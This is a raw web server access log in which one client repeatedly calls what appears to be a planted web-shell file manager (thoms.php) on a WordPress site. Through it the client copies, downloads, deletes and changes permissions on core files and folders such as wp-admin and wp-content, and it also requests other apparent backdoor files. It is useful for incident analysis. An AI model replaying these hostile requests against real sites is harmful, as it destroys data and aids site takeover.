45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11397 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p= HTTP/1.1" 200 11661 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?dl=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16553 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?del=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?dl=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16553 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/locoy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/wp-links-opml.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?dl=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?chmod=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=thoms.php HTTP/1.1" 200 11829 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?dl=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16592 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?dl=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?del=wp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?dl=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16562 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=xmlrpc.php HTTP/1.1" 200 13375 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /wordpress-6.6.2-zh_TW/wp-blog-header.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?dl=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /wordpress-6.6.2-zh_TW/wp-load.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?del=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16563 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:24 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&settings=1 HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16565 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 200 29896 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16565 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-login.php HTTP/1.1" 200 28557 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /wordpress-6.6.2-zh_TW/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=wp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16679 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16677 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-links-opml.php HTTP/1.1" 200 13105 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 200 13261 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?chmod=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=wp-cron.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16679 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p= HTTP/1.1" 200 11655 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:25 -0400] "GET /thoms.php?del=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16666 "http://163.245.207.76:443/thoms.php?del=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?chmod=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-blog-header.php HTTP/1.1" 200 12059 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?chmod=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-settings.php HTTP/1.1" 200 18616 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-mail.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-cron.php HTTP/1.1" 200 14212 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16677 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-load.php HTTP/1.1" 200 13666 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-signup.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-trackback.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:26 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p= HTTP/1.1" 200 16385 "https://163.245.207.76/wordpress-6.6.2-zh_TW/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?chmod=wp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?dl=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16677 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?del=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16677 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-trackback.php HTTP/1.1" 200 13874 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?chmod=wp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?del=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16677 "http://163.245.207.76:443/thoms.php?del=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /wordpress-6.6.2-zh_TW/wp-config-sample.php HTTP/1.1" 500 1104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ HTTP/1.1" 200 10667 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-config-sample.php HTTP/1.1" 200 13222 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /thoms.php?chmod=wp-load.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:27 -0400] "GET /wordpress-6.6.2-zh_TW/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
